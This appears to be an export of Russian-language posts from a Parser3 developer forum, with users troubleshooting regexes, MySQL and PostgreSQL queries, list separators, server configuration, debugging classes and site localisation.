[^^\\s*(\\S.+\\S)\\s+:\\s+(.+)\\s*^$] \
стало \
[^^\\ *(.+)\\ +:\\ +(.+)\\ *^$] в первой скобке я брал все символы от окончания пробелов и хотел, чтобы был включен диапазон до начала пробелов. Но я понимаю что такая конструкция не сработает потому как \".+\" как раз и берет все символы до \":\" а соответственно и пробелы туда попадают\
\
На локальном\
** NCONVERT v5.50 (c) 1991-2009 Pierre-E Gougelet (Sep 16 2009/15:20:46) **\
        Version for Windows NT/9x/2000/Xp/Vista  (All rights reserved)\
** This is a freeware software (for non commercial use)\
\
\
c:/apache_swissknife/сайты/hev-dog/html///_pic_/dogs/155.jpg : Success\
    Format               : JPEG TrueColor (v1.2)\
    Name                 : jpeg\
    Compression          : JPEG\
    Width                : 600\
    Height               : 400\
    Components per pixel : 3\
    Bits per component   : 8\
    Depth                : 24\
    # colors             : 16777216\
    Color model          : RGB\
    Bytes Per Plane      : 1800\
    Orientation          : Top Left\
    Xdpi                 : 100\
    Ydpi                 : 100\
    Page(s)              : 1\
 ,   , 0\
\
На сервере\
\
** NCONVERT v5.50 (c) 1991-2009 Pierre-E Gougelet (Sep 16 2009/14:59:37) **\
        Version for FreeBSD x86 (X11)  (All rights reserved)\
** This is a freeware software (for non commercial use)\
\
\
/home/u98130/hev-dog.ru/www//_pic_/dogs/146.jpg : Success\
    Format               : JPEG TrueColor (v1.2)\
    Name                 : jpeg\
    Compression          : JPEG\
    Width                : 600\
    Height               : 400\
    Components per pixel : 3\
    Bits per component   : 8\
    Depth                : 24\
    # colors             : 16777216\
    Color model          : RGB\
    Bytes Per Plane      : 1800\
    Orientation          : Top Left\
    Xdpi                 : 100\
    Ydpi                 : 100\
    Page(s)              : 1\
 ,  wmftogif: not found\
 , 0\
\
я примерно так и пытался проверить \
f_info_match.txt\
prematch	match	postmatch	1	2	3	4	5	6	7	8	9	10	11	12	13	14	15	16	17	18	19	20	21	22	23	24	25	26	27	28	29	30	31	32	33	34	35	36	37	38	39	40	41	42	43	44	45	46	47	48	49	50	51	52	53	54	55	56	57	58	59	60	61	62	63	64	65	66	67	68	69	70	71	72	73	74	75	76	77	78	79	80	81	82	83	84	85	86	87	88	89	90	91	92	93	94	95	96	97	98	99	100\
			/home/u98130/hev-dog.ru/www//_pic_/dogs/146.jpg	Success\
			Format              	JPEG TrueColor (v1.2)\
			Name                	jpeg\
			Compression         	JPEG\
			Width               	600\
			Height              	400\
			Components per pixel	3\
			Bits per component  	8\
			Depth               	24\
			# colors            	16777216\
			Color model         	RGB\
			Bytes Per Plane     	1800\
			Orientation         	Top Left\
			Xdpi                	100\
			Ydpi                	100\
			Page(s)             	1\
\
\
f_info_match.table\
\"prematch\"	\"match\"	\"postmatch\"	\"1\"	\"2\"	\"3\"	\"4\"	\"5\"	\"6\"	\"7\"	\"8\"	\"9\"	\"10\"	\"11\"	\"12\"	\"13\"	\"14\"	\"15\"	\"16\"	\"17\"	\"18\"	\"19\"	\"20\"	\"21\"	\"22\"	\"23\"	\"24\"	\"25\"	\"26\"	\"27\"	\"28\"	\"29\"	\"30\"	\"31\"	\"32\"	\"33\"	\"34\"	\"35\"	\"36\"	\"37\"	\"38\"	\"39\"	\"40\"	\"41\"	\"42\"	\"43\"	\"44\"	\"45\"	\"46\"	\"47\"	\"48\"	\"49\"	\"50\"	\"51\"	\"52\"	\"53\"	\"54\"	\"55\"	\"56\"	\"57\"	\"58\"	\"59\"	\"60\"	\"61\"	\"62\"	\"63\"	\"64\"	\"65\"	\"66\"	\"67\"	\"68\"	\"69\"	\"70\"	\"71\"	\"72\"	\"73\"	\"74\"	\"75\"	\"76\"	\"77\"	\"78\"	\"79\"	\"80\"	\"81\"	\"82\"	\"83\"	\"84\"	\"85\"	\"86\"	\"87\"	\"88\"	\"89\"	\"90\"	\"91\"	\"92\"	\"93\"	\"94\"	\"95\"	\"96\"	\"97\"	\"98\"	\"99\"	\"100\""
"70952","смысл в том - что на сервере что на локалке $fInfo.text выдается идентично"
"70953","Версии NConvert - одинаковые\
\
** NCONVERT v5.50 (c) 1991-2009 Pierre-E Gougelet (Sep 16 2009/14:59:37) **\
        Version for FreeBSD x86 (X11)  (All rights reserved)\
** This is a freeware software (for non commercial use)\
\
** NCONVERT v5.50 (c) 1991-2009 Pierre-E Gougelet (Sep 16 2009/15:20:46) **\
        Version for Windows NT/9x/2000/Xp/Vista  (All rights reserved)\
** This is a freeware software (for non commercial use)\
\
\
с регулярными выражениями я пока слабо разобрался меня удивляет, что на локалке выражение ^^\\s*(\\S.+\\S)\\s+:\\s+(.+)\\s*^$ срабатывает и дает результат а на хостинге нет."
"70954","Мне показалось, или забыли указать версии парсера?\
\
Естественно включая OS на сервере разработки (что на хостинге FreeBSD 6.2, было указано)."
"70955","На сервере\
Parser/3.3.0 (compiled on i386-unknown-freebsd6.3)\
\
Я извиняюсь, но как проверить версию на локалке?? хотя старше чем 3.3.0 не должна быть.."
"70956","Странный вопрос - у вас же вроде как копия сайта на локале?\
Обратиться к /cgi-bin/parser3.cgi (или как он у вас называется) или просто запустить из командной строки..."
"70957","Согласен, что вопрос странный ))\
Но у меня Apache Swissknife\
Нашел, что сборка 035 и парсер там 3.2.2b\
На хостинге до того как я туда установил 3.3.0 стоял 3.2.3 (и результат был такой же)\
\
И еще, возможно, более странный вопрос - а как запустить парсер из командной строки?"
"70958","мне верится во всё это с трудом :)\
попробуйте запостить $fInfo.text в [code/]\
\
ещё попробуйте в исходном regex-е заменить:\
все \\s на [^#09^#0A^#20]\
все \\S на [^^^#09^#0A^#20]"
"70960","мне тоже с трудом верится :)\
[quote]ещё попробуйте в исходном regex-е заменить:\
все \\s на [^#09^#0A^#20]\
все \\S на [^^^#09^#0A^#20][/quote]\
это решило все проблемы - все заработало Благодарю за решение\
подскажите пожалуйста где можно почитать про [^#09^#0A^#20], про \
[^^^#09^#0A^#20] и т.д. и с чем все таки связано, что \\s и \\S не работали.\
\
но на всякий случай выкладываю $fInfo.text\
[code]вот с хостинга \
** NCONVERT v5.50 (c) 1991-2009 Pierre-E Gougelet (Sep 16 2009/14:59:37) **\
        Version for FreeBSD x86 (X11)  (All rights reserved)\
** This is a freeware software (for non commercial use)\
\
\
/home/u98130/hev-dog.ru/www//_pic_/dogs/164.jpg : Success\
    Format               : JPEG TrueColor (v1.2)\
    Name                 : jpeg\
    Compression          : JPEG\
    Width                : 600\
    Height               : 400\
    Components per pixel : 3\
    Bits per component   : 8\
    Depth                : 24\
    # colors             : 16777216\
    Color model          : RGB\
    Bytes Per Plane      : 1800\
    Orientation          : Top Left\
    Xdpi                 : 100\
    Ydpi                 : 100\
    Page(s)              : 1\
 ,  wmftogif: not found\
 , 0\
\
\
вот с локалки\
** NCONVERT v5.50 (c) 1991-2009 Pierre-E Gougelet (Sep 16 2009/15:20:46) **\
        Version for Windows NT/9x/2000/Xp/Vista  (All rights reserved)\
** This is a freeware software (for non commercial use)\
\
\
c:/apache_swissknife/сайты/hev-dog/html///_pic_/dogs/163.jpg : Success\
    Format               : JPEG TrueColor (v1.2)\
    Name                 : jpeg\
    Compression          : JPEG\
    Width                : 600\
    Height               : 400\
    Components per pixel : 3\
    Bits per component   : 8\
    Depth                : 24\
    # colors             : 16777216\
    Color model          : RGB\
    Bytes Per Plane      : 1800\
    Orientation          : Top Left\
    Xdpi                 : 100\
    Ydpi                 : 100\
    Page(s)              : 1\
 ,   , 0[/code]"
"70961","[quote]И еще, возможно, более странный вопрос - а как запустить парсер из командной строки?[/quote]\
\
start - run - cmd\
c:\\путь к парсеру\\parser3.exe <enter>\
\
И на хостинге странный парсер:\
[quote]freebsd6.3[/quote]\
Мы только под 6.2 собирали. Откуда он?"
"70962","[code]INSERT INTO artcomm (id,pidac,lev,commn,comtext) VALUES (1,0,1,'asdasd','asdasdasd');[/code]\
Поле lev в базе есть точно\
Где грабли?"
"70963","не представляю я почему не работают \\s и \\S. это наша сборка?\
в любом случае, я бы не надеялся, что это единственная проблема этой сборки :)\
\
а про [...] и [^...] почитать можно в любой книжке по регулярным выражениями (ссылки на некоторые есть в соотв. разделе)."
"70964","[quot]\
Поле lev в базе есть точно\
[/quot]\
\
докажите :)\
\
P.S. буква 'e' там случайно не русская?"
"70965","Названия полей и табелей в SQL лучше начинать и оконьчать в `\
\
Проверте такое - будеть ли работать?\
\
[code]\
INSERT INTO `artcomm` (`id`,`pidac`,`lev`,`commn`,`comtext`) VALUES (1,0,1,'asdasd','asdasdasd');[/code]"
"70966","В этом Apache_Swissknife только *.dll я так и не смог выяснить выяснить версию parser\
а на хостинг кидал эту версию\
http://www.parser.ru/f/1/download/freebsd6/parser3_3_0_freebsd63R_cgi_xml.tar.gz\
 до этого стояла \
http://www.parser.ru/f/1/download/freebsd6/parser3_2_3_freebsd62R_cgi_xml.tar.gz"
"70967","Я понимаю, что сложность может быть только у меня или именно на этом хостинге но я ставил парсер с сайта\
http://www.parser.ru/f/1/download/freebsd6/parser3_3_0_freebsd63R_cgi_xml.tar.gz\
до этого стояла \
http://www.parser.ru/f/1/download/freebsd6/parser3_2_3_freebsd62R_cgi_xml.tar.gz\
\
про регулярные выражения поищу получше. Видимо не досмотрел.\
Благодарю."
"70968","Спасибо за совет, но не работает - отсылает читать мануалы по правильному синтаксису mysql."
"70969","1. доказываю:\
[code]CREATE TABLE `artcomm` (\
  `idac` int(10) unsigned NOT NULL auto_increment,\
  `id` int(10) unsigned NOT NULL,\
  `pidac` int(10) unsigned NOT NULL,\
  `lev` int(10) unsigned NOT NULL,\
  `commn` varchar(45) NOT NULL,\
  `comdate` timestamp NOT NULL default CURRENT_TIMESTAMP on update CURRENT_TIMESTAMP,\
  `comtext` text NOT NULL,\
  `_active` tinyint(1) NOT NULL default '1',\
  PRIMARY KEY  (`idac`)\
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;[/code]\
\
2. 'е' не русская и не кирилическая\
3. бог весть какая задачка, скорее всего где-то не доглядел  - может вы найдете"
"70970","copy/paste двух ваших запросов в HeidiSQL -- и проблемы не вижу, всё создалось и запись добавилась (MySQL 5.0.81)"
"70972","Благодарю за исчерпывающий ответ )"
"70973","Прошу прощения но не могу найти информацию именно по этим символам ^#09^#0A^#20 прошу подсказать где можно найти или хотя бы намекнуть что это такое."
"70974","Финита ля комедиа:))\
Оказывается в базе к которой я обращался действительно не было поля :))\
Я забыл что хостер перенес все на новый сервер и я уже поменял все коннект стринги, но по прежнему работал со старой через пхпмайадмин. Мдя :)"
"70975","P.S. пора вам доку начать читать и поиском учиться пользоваться. больше отвечать на подобные вопросы не буду."
"70976","Благодарю. Я не мог найти и понять, что это HEX символы. Не пользовался я ими прежде. Теперь мне все понятно."
"70977","Обновил парсер с 3.1.4 до 3.3.0 (версия для freebsd4)\
\
Получил ту-же ошибку - xsltCopyText(): Failed to copy the string.\
\
Стал разбираться в чем дело и оказалось, что в моем случае глючить, если пытаться обработать шаблоном элемент, чье содержимое - CDATA.\
При этом <xsl:value-of .../> выдает содержимое без проблем.\
\
Попытаюсь посмотреть есть ли глюк в 3.4.0b3 (жаль, нет сборки под freebsd4)"
"70988","[url=\"http://resursles.ru/\"]Есть меню:[/url]\
1 категория\
     1.1 подкатегория\
     1.2 подкатегория\
             1.2.1 подкатегория\
             1.2.2 подкатегория\
             1.2.3 подкатегория\
2 категория\
3 категория\
    3.1 подкатегория\
\
Как реализовать, чтобы при клике на корневой категрии  1 из БД выбрать весь товар принадлежащий \
подкатегориям данной категории.\
табл. с категориями:\
CREATE TABLE `product` (\
  `id_product` int(6) NOT NULL,\
  `product` varchar(200) NOT NULL,\
  `podcat` varchar(200) NOT NULL,\
  PRIMARY KEY  (`id_product`)\
) ENGINE=MyISAM DEFAULT CHARSET=cp1251;\
\
 в поле  podcat прописывается номер родительской категории \
т. е. для 1.1 это 1, для 1.1.2 это 1.1 или \"0\" если категория корневая.\
ну и соответственно в таблице Lot каждый продукт привязан к своей категории. \
\
ссылка в меню:\
<li><a  href=\"/list_product/index.html?id_product=$select_list_product.id_product\" >\
 href=/list_product/index.html?id_product=1\
\
можно в таблицу с категориями продуктов добавить ещё одно поле\
в которм указывать номер корневой категории выбирать запросом все эти категории, потом подставлять во второй запрос в цикле через and\
select\
       id_lot, lot,\
   from\
     lot\
   where\
        id_product= 'id_product1'AND\
        id_product= 'id_product2'AND\
          id_product= 'id_product3'\
\
Можно ли обойтись без дополнительного поля и реализовать всё это изящнее ?"
"70990","Решение хорошее, жаль что не у всех апач."
"70992","Спсибо!"
"70993","Прям в точку, что и хотел, я уже начал вложенными запросами делать, но и там затык..."
"70994","Добрый день.\
\
Задача: сделать так, чтобы при соединении с MySQL можно было указать параметр LOCAL_INFILE, который по умолчанию выключен.\
\
Например, в PHP это решается путём передачи определенного флага в качестве последнего параметра mysql_connect.\
\
Если я корректно понимаю, в драйвере для MySQL этого нет. Можно ли добавить такую возможность в драйвер?\
\
Навскидку, а что если в районе 184 строки драйвера добавить что-то типа:\
\
                                                } else if(strcasecmp(key, \"local_infile\")==0){                                                               \
                                                        if(atoi(value))                                                                                      \
                                                              if(mysql_options(connection.handle, MYSQL_OPT_LOCAL_INFILE, 0)!=0)                             \
                                                                           services._throw(mysql_error(connection.handle));   \
\
?"
"70995","Собрал :-) Работает :-)"
"70997","Добрый вечер. Помогите, пожалуйста, с данным вопросом.\
\
Есть XML с каталогом товаров, из него с помощью XLS формируется страница с товарами на сайте.\
Привожу упрощенный вариант:\
\
[code]\
<xsl:template match=\"info\"> \
	<form method=\"post\" action=\"/order/\">\
	<h3><xsl:apply-templates select=\"name\" /></h3>\
	<select name=\"Размер\">\
		<option>S</option>\
		<option>L</option>\
		<option>XL</option>\
	</select>\
	<span class=\"feature\">Полнота </span><span class=\"state\"><xsl:apply-templates select=\"fit\" /></span>\
	<input type=\"submit\" value=\"Заказать\" />\
	</form>\
\
</xsl:template>\
[/code]\
\
При нажатии на кпопку \"Заказать\" попадаем на страницу подтверждения заказа.\
По сути это форма обратной связи, но с добавлением полей: название, размер, полнота.\
При нажатии на кнопку \"Отправить\" отправляется письмо.\
\
В общем, нужно сделать так, чтобы параметры выбранного заказа оказались на странице обратной связи и соответственно в письме.\
\
И большая просьба посоветовать как лучше организовать такую передачу данных. (без использования базы данных)\
\
\
Такой вариант не прокатил, т.к. в value не запахивается <xsl:apply-templates select=\"name\" />\
\
[code]\
<form method=\"POST\"> \
	<p><input type=checkbox name=hobby value=\"Театр\">Театром</p> \
	<p><input type=checkbox name=hobby value=\"Кино\">Кино</p> \
	<p><input type=checkbox name=hobby value=\"Книги\">Книгами</p> \
	<p><input type=submit value=\"OK\"></p>\
</form> \
\
$hobby[$form:tables.hobby] \
^if($hobby){ \
    Хобби:<br />\
    ^hobby.menu{ \
        $hobby.field \
    }[<br />] \
}{ \
    Ничего не выбрано \
} \
[/code]"
"71000","с помощью метода формирую XML код:\
[code]\
\
@lot_product[id_product; iLimit]\
         $select_lot_product[^oSql.table{select\
         lot_id, nm_lot, id_product, is_published, lot_txt, price\
         from\
         lot\
         where\
         id_product IN\
         (SELECT id_product\
         from\
         product\
         where\
         is_published = 1\
		^if(def $id_product){\
         AND thread_id = $id_product OR id_product = $id_product )\
          }\
          ORDER BY\
		dt_published\
     }\
     [\
	    ^if(^iLimit.int(0)){\
		$.limit(^iLimit.int(0))\
	    }\
     ]]\
#список лотов  XML\
           <?xml version=\"1.0\" encoding=\"utf-8\" ?>\
        <lot>\
           <title></title>\
     <body>\
^select_lot_product.menu{\
      <title_lot>$select_lot_product.nm_lot</title_lot>\
      <description>$select_lot_product.lot_txt</description>\
      <price>$select_lot_product.price</price>\
      <Contacts>Контакты</Contacts>\
      <links>\
        <link href=\"/birja/id_lot.htm?id_lot=$select_lot_product.lot_id\">Подробнее...</link>\
      </links>\
\
  }\
    </body>\
 </lot>\
#end @lot_product[]\
[/code]\
\
В примере из документации XML считываеться из файла\
$sourceDoc[^xdoc::load[/xml/article.xml]]\
тут формируеться методом @lot_product.\
Как считать XML в $xdoc в этом случае???"
"71002","- Парсер теперь делает капитализацию заголовков в отправляемых письмах.\
\
- ^картинка.font[], ^картинка.text[] и ^картинка.length[] теперь корректно работают в UTF-8.\
\
- Исправлено кодирование имен файлов с интернациональными символами в почтовых аттачментах.\
\
- base64 и uue кодирование было оптимизировано, теперь при любом кодировании требуется примерно одинаковое количество памяти (и меньше, чем требовалось ранее).\
\
- При отправке писем с файлами-аттачментами, теперь файлы по умолчанию кодируются в base64 (было -- uue).\
\
- Добавлена опция $.debug-print(1) к ^mail:send[], позволяющая не отправлять письмо, а увидеть подготовленное к отправке сообщение.\
\
- Исправлено несколько багов, которые появились в 3.4.0\
\
- Парсер собран с последними библиотеками xml (libxml 2.7.5 и libxslt 1.1.26)[url=\"/forum/?id=70907\"]\
\
список изменений[/url] предыдущей бета версии."
"71004","Код:\
^switch[$autoriz.accses]{\
   ^case[A]{мона}\
   ^case[R]{не очень мона}\
   ^case[B]{свое мона ты прощелкал}\
   ^case[V]{гостем будешь}\
   ^case[DEFAULT]{ты какой-то не такой} \
}\
$autoriz.accses - символ из базы данных\
Прекрасно работает на winxp parser 3.2.2b MySQL 5.0.45-community-nt кодировка везде Win-1251\
\
и выкидывает на \"DEFAULT\" на FreeBSD 7.1, parser 3.3.0, postgresql8.1(utf-8), сайт, ie7 - все работает на win-1251\
строка подключения pgsql://user:pass@localhost/brdgis?ClientCharset=UTF-8\
\
Танцы с бубном:\
пробовал в место символа ставить в базу цифры - не работает\
работает только когда непосредственно в ^switch[] вставить искомый символ (строку).\
\
Вопрос: то ли я дурак, то ли лыжи не едут?"
"71005","Ну и в DEFAULT надо вывести значение, которое \"не нравится\", чтобы убедиться что там именно то, что надо."
"71006","Строку ^switch[$autoriz.access]\
можно читать и как ^switch[$x] - это не важно\
я точно знаю что находится в переменной. и точно знаю что такое значение находится в одном из ^case[]\
НО! по какой-то причине перебор не находит именно ЗНАЧЕНИЕ ПЕРЕМЕННОЙ обозначеной в строке ^switch[$autoriz.access]\
только если я непосредственно обьявлю:\
^switch[Сережа]{\
^case[Сережа]{Сережа молодец!!}\
^case[Петя]{Петя молодец!!}\
^case[DEFAULT]{Кто-то молодец!!} \
}\
отработает верно! т.е. действительно выведет \"Сережа молодец!!\" вместо \"Кто-то молодец!!\"\
\
p.s. DEFAULT - это  \"Все остальные\""
"71007","Причина - http://polaxn.blogspot.com/2009/10/enum-mysql-postgresql.html\
Решение - http://polaxn.blogspot.com/2009/10/enum-postgresql.html\
\
НО вопросы к parser3 тоже есть: почему парсер на правильно сравнивает значение поля CHAR в PostgreSQL(кодировка базы UTF-8 с автоматическим переконвертированем при подключении в win1251) с значением ^case[](кодировка win1251)(тестились и буквенные символы и цифры)?\
Только при изменении толя на тип ENUM проблема исчезла.\
\
закрыто!\
\
С уважением, пух!"
"71008","если вы проделали то, что рекомендовал вам moko и считаете, что имеется баг, будьте добры, сделайте простой bug.zip (с минимально необходимым для его воспроизведения), и пришлите его на misha@..."
"71009","parser_version 3.3.0 (compiled on i686-pc-linux-gnu)\
\
[code]@tableOutput[]\
$t[^table::create{a	b	c	d\
1	2	3	4\
5	6	7	8}]\
\
$c[^table::create{column\
a\
b\
c\
d}]\
\
	\
^t.menu{\
	^c.menu{\
		$cc[$c.column]\
		$outp[${outp}$t.$cc]\
		}{$outp[$outp,]}\
	}{$outp[$outp^;]}\
\
$result[$outp][/code]\
\
Я туплю, или результат \"12,3,4,56,7,8,;\" не совсем корректен?\
\
upd: Если не производить присвоение, а просто отдавать в вывод, то последовательность действий очевидно корректна."
"71010","код разделителя вычисляется в тот момент, когда уже вычислена следующая строка menu, и стало ясно что она не пустая."
"71013","Есть сайт, находящийся на поддомене. При наборе адреса shop.sitename.ru все открывается правильно, но если я наберу shop.sitename.ru/index.html, то вижу парсерный код, находящийся в файле.\
\
В .htaccess только это:\
\
[code]AddHandler parsed-html .html\
Action parsed-html /cgi-bin/parser3.cgi\
\
<Files ~ \"\\.(p|cfg|log)$\">\
Order allow,deny\
Deny from all\
</Files>[/code]\
\
В то же время на главном домене с теми же настройками все работает правильно.\
В чем может быть проблема? Может дело в хостинге?\
\
[code]Parser/3.3.0 (compiled on i686-pc-linux-gnu)[/code]"
"71014","\"Невозможно запустить MySql - порт 3306 занят или заблокирован firewall'ом\" - это сообщение выдаёт сервер при попытке запуска. Какие возможные причины ?"
"71015","Спасибо за ссылочку. Не понимаю, почему это не пофиксили с 2004 года. У кого-то есть сомнения в том, что это баг?"
"71017","предложите правильный алгоритм вычисления разделителя."
"71018","вам-же написали: порт занят или заблокирован :)\
\
P.S. парсер то тут при чем?."
"71019","Возможно в админке гт хостера вы не включили поддержки CGI для поддомена."
"71020","Скорее всего уже обсуждалось, но что-то не нашел ответа.\
\
Есть форма фильтра с несколькими чекбоксами, которая при нажатии на сабмит выдает нужные строки из базы.\
Как передать значение выбранных чекбоксов дальше? \
\
[code]/index.html?field1=$form:field1 и /index.html?field1=$form:tables.field1[/code] не работают."
"71021","Нет нет, cgi включено, но обрабатывает только файл открывающийся по умолчанию в папке, т. е. index.html. Но при явном указании на .html файл, он не обрабатывается, виден код :("
"71022","Наверно надо в суппорт хостинга этот вопрос задать. Из бредовых идей, если точку убрать (.html -> html) не помогает?"
"71023","Но странно, при обращении вида / по факту происходит внутренний редирект на /index.html, поэтому надо постараться, чтобы получить разный результат.\
Возможно у хостера используется связка nginx/apache, и первый некорректно настроен для отдачи статики."
"71024","Но это не выход, внутри движка куча html файлов и все менять для конкретного сайта не хочется. Так что вероятно проблема на сервере, напишу им.\
Спасибо за подсказку!"
"71026","у самого руки не дошли но если кто решал - напишите алгоритм элегантного решения. \
а то в голову приходят только \"не крисивые\" и ресурсоемки решения."
"71028","Написали: «Всё правильно, используется связка nginx+apache. И по умолчанию html странички\
отдаются nginx, чтобы снизить нагрузку на основной веб-сервер. Добавили Ваш субдомен в список исключений»."
"71030","1. как вам уже сообщили, вы можете не тащить все параметры в query, а сохранить их в hashfile\
2. что вам мешает написать так: /index.html?^form:tables.field1.menu{field1=$form:tables.field1.field}[&]"
"71031","Здравствуйте!\
\
Скажите пожауйста меня как лучше делаеться перевод сайтов.\
Я придумал следущее решения - но в розроботке не знаю которые будут лучше:\
\
Для программа (классы)\
1. Сделать оттдельный класс, в котором будеть метод возвращчающий тексты из хеша, или xml, или sql.\
2. В каждом файле класса (*.p) добавить хеш с переводами. И когда есть нужда - пользоваться ими.\
\
Для сайта (тексты сделанные редактором)\
1. Для всякой подстронницы XML добавить место для переводов в качестве других файликов, или тегов XML.\
2. Cделать оддельные дерева сайта для всех языков. Такое решение даёт возможность сделания различных структур для каждого языка, но тоже админка будеть сложная - потомучто проще попутаться."
"71032","[url=\"http://www.artlebedev.ru/tools/technogrette/xslt/multilang/\"]http://www.artlebedev.ru/tools/technogrette/xslt/multilang/[/url]\
[url=\"http://www.artlebedev.ru/tools/technogrette/xslt/localizing/\"]http://www.artlebedev.ru/tools/technogrette/xslt/localizing/[/url]"
"71033","Полезные ссылки, спасибо!"
"71034","Здравствуйте\
\
Использовался кто-нибудь классами от zhizhilkin.\
Не могу запускать ни dstop, ни профайлера?\
\
всё можно скачять туда\
http://code.google.com/u/zhizhilkin/"
"71036","Как вы эго пользуете? Уже почти один час - и ничего не могу полезного сделать. Название классов говорить что они очень полезные.\
\
Так делаю.\
\
[code]\
@CLASS\
mod_html\
\
@auto[]\
$self.config[\
	$.admin[\
		$.add(1)\
		$.name[Tekst]\
	]\
]\
\
@load[xTag;hXMLTree]\
$self.xTag[$xTag]\
\
@show[]\
^self.xTag.selectString[string(.)]\
^Profiler:do[mod_html]\
[/code]\
\
Ничего парсер не выводить  - полько какой-то 123.txt сохраняет в корне веб пространства. Не в каждом классе работает.\
\
Посоветуйте как надо пользоваться.\
Спасибо!"
"71037","[quot]Разделитель - код, который выполняется перед каждым непустым не первым телом.[/quot]\
Но ведь в данном случае код не выполняется перед выполнением непустого тела. Он выполняется после выполнения непустого тела. Или  частично перед, а частично после. То есть он как бы уже и не разделитель, а непонятно что.\
\
Я понял, что вопрос в том, что необходимо сначала определить, не пустое ли следующее тело. Но вопрос должен стоять именно в этом моменте: как вычислить пустоту/непустоту тела, не создавая при этом помех для кода в разделителе.\
\
Возможно, следует забить на пустоту тела (кстати, что это такое?), и тупо выводить разделитель перед каждым не первым телом. Полагаю, это будет удовлетворять нужды большинства."
"71038","претензия понятна. в доке \"выполняется\" заменю на \"вставляется\" :)\
\
P.S. если честно, то лично я ни разу в жизни не использовал выполняемый разделитель. мне хватает [,] или [/]. использовать выполняемый разделитель и при этом организовывать взаимодействие между телом и разделителем мне не кажется правильным, т.к. разбираться в написанном потом будет просто невозможно."
"71039","Действительно - полезные примеры. Но ещё у меня несколько спрашений. Особенно к варианте для больших фрагментов текстов. Андрей Шитов советует чтоб в таком случае в одном коде страницы сохраниять все нужные переводы. Что будем делать когда страница не переведена вполне? Для всех языков будеть одинаковая структура сайта - одинаковые ссылки. Даже когда данный текст не переведён. Когда сделаем на пример три корня сайта для трёх языков - тогда пользователи увидут только тексты на своём языке."
"71040","Да все предельно просто:\
\
[code]^use[debug.p]\
ваш код...\
^dstop[переменная_или_хеш_или_таблица]\
ваш код...\
[/code]\
\
Таким макаром в любом месте можно посмотреть что пришло в переменную, и вообще дошло ли.\
\
Важно в debug.p настроить свой ip в $self.bDeveloper иначе ничего не увидите."
"71041","Я не заметил что dstop это метода класса main, и что для нужно передать параметр.\
\
Большое спасибо ;)\
\
Но - ещё хочю спрасить вас об этом:\
Как ^getScript[] работает в debug.p и как его вывести?\
На первый взгляд исходник красный но шаманьства с ^extendPostprocess[] я не понимаю. В броузере ни одного скрипта не вижу.\
\
Но и ещё только подскажите пожоуйста как с профайлером надо поступать плизз..."
"71042","перерыл все, что мог\
хотелось бы иметь механизм, который разложит по полочкам любой хтмл и даст хеш вида\
\
[code]\
$hash[\
    $.title[строка]\
    $.keywords[строка]\
    ...\
    $.body[\
        $.p[строка]\
        $.a[\
            $.content[строка или очередной кеш, если внутри есть тэги]\
            $.href[строка]\
            ]\
        $.p[\
            $.a[строка]\
            ]\
    ]\
]\
[/code]\
\
т.е. если внутри тега есть еще теги, то возвращается хеш, иначе - строка с содержимым\
а еще было бы неплохо если б каждая ветка имела свой id - чтобы потом по нему вытаскивать то, что нужно\
с регекспами впринципе разбираюсь, в парсер тоже вникаю потихоньку\
но срастить все в кучу - мозгов не хватат\
буду счастлив любой помощи\
BR,"
"71043","какая у вас задача?\
для чего вы пытаетесь сделать собственную реализацию DOM?\
\
возможно, уже есть какое-то стандартное решение."
"71044","задача - собирать свою старт-пейдж из нужных кусочков, но так, чтобы был универсальный инструмент для любых страниц\
на счет \"подчистить\" - не доходит как правильно закрыть все тэги"
"71046","а онлайновые сервисы на этой штуке нормально/стабильно работают?\
посоветуйте лучший\
или поясните глупому как установить на бсд 5.х\
\
и вообще, зря нет такой штуки на парсере?.."
"71047","...тidy для freebsd\
\
но не могу вспомнить для какой версии фрибсд\
\
скачайте\
http://j.domanski.pro/tidy_freebsd.tgz"
"71048","off: кстати, прикольные рисунки"
"71049","[code]\
@runTidy[file;config][original_root;tidypath;exec;tmpnumber]\
#file - путь к оригинальному html\
#config - путь к конфигурацённому файлю (см. http://tidy.sourceforge.net/docs/quickref.html)\
\
\
$tidypath[/var/www/vhosts/myacc/private/bin/tidy/tidy]\
#путь к тиды\
\
$tmpnumber(0)\
^while(-f \"/_data/tmp/tidy.${tmpnumber}.tmp\"){\
	$tmpnumber($tmpnumber+1)\
}\
^file.save[/_data/tmp/tidy.${tmpnumber}.tmp]\
#устпройство для temporary\
\
\
$original_root[$request:document-root]\
$request:document-root[]\
#чтоб была возможность испольненя программу вне веб пространства\
\
$exec[^file::exec[/var/www/vhosts/myacc/private/bin/webgate.sh;;$tidypath;-config ${original_root}/_admin/_data/$config;${original_root}/_data/tmp/tidy.${tmpnumber}.tmp]]\
#исполнене тиды\
\
$request:document-root[$original_root]\
\
^if(-f \"/_data/tmp/tidy.${tmpnumber}.tmp\"){\
	^file:delete[/_data/tmp/tidy.${tmpnumber}.tmp]\
}\
\
$result[$exec.text]\
[/code]"
"71050","Есть же сравнительно простой выход - убрать это самое \"непустое\" из условий. Вот вы не использовали выполняемый разделитель, а я не помню такой задачи, чтобы \"пустота\" тела требовала особого отношения. :)\
\
Убрать эту фичу, убрать предвычисление тела - и всё будет прекрасно, разделитель будет выполнять свою функцию на 100%: выполняться после каждого непервого тела.\
\
Ну неужели лучше заменить слово в мануале и тем самым узаконить нелогичность?\
\
А насчет того, что будет невозможно разбираться - так разбираться значительно труднее, когда логика сыпется. :)\
\
PS: афна фыфифя фуфлей... ;)"
"71051","хотя первый способ конечно более изящный"
"71052","как я уже писал, лично мне ни разу не требовалось писать {,} или {/}, но много раз требовалось, чтобы разделитель не дублировался при пустом теле.\
\
т.е. с моей колокольни нелогичность именно в том, что разделитель может быть кодом, причем сильно связанным с телом цикла.\
\
P.S. сэмулировать тот разделитель, который нужен вам, можно элементарным кодом в теле цикла."
"71053","Здравствуйте!\
\
Знает ли кто-нибудь способ чтобы из кокого нибудь ^класса:метода[] получить путь к файлю с которого вызвен этот метод?\
\
Название класса знаю как получить - просто $caller.CLASS_NAME.\
\
Мне это нужно лдя создания класса словаря для своих классов. В одном классе будет все переводы - но класс будеть возвращать тексты в зависимости от названия класса вызывавшего словарь и когда это класс MAIN - от пути к файлю вызывющему."
"71054","[quote]Возможно, следует забить на пустоту тела (кстати, что это такое?), и тупо выводить разделитель перед каждым не первым телом. Полагаю, это будет удовлетворять нужды большинства.[/quote]\
\
Алгоритм очевидно должен работать так:\
\
[code]'a' 'b' '' '' '' -> a,b[/code]\
\
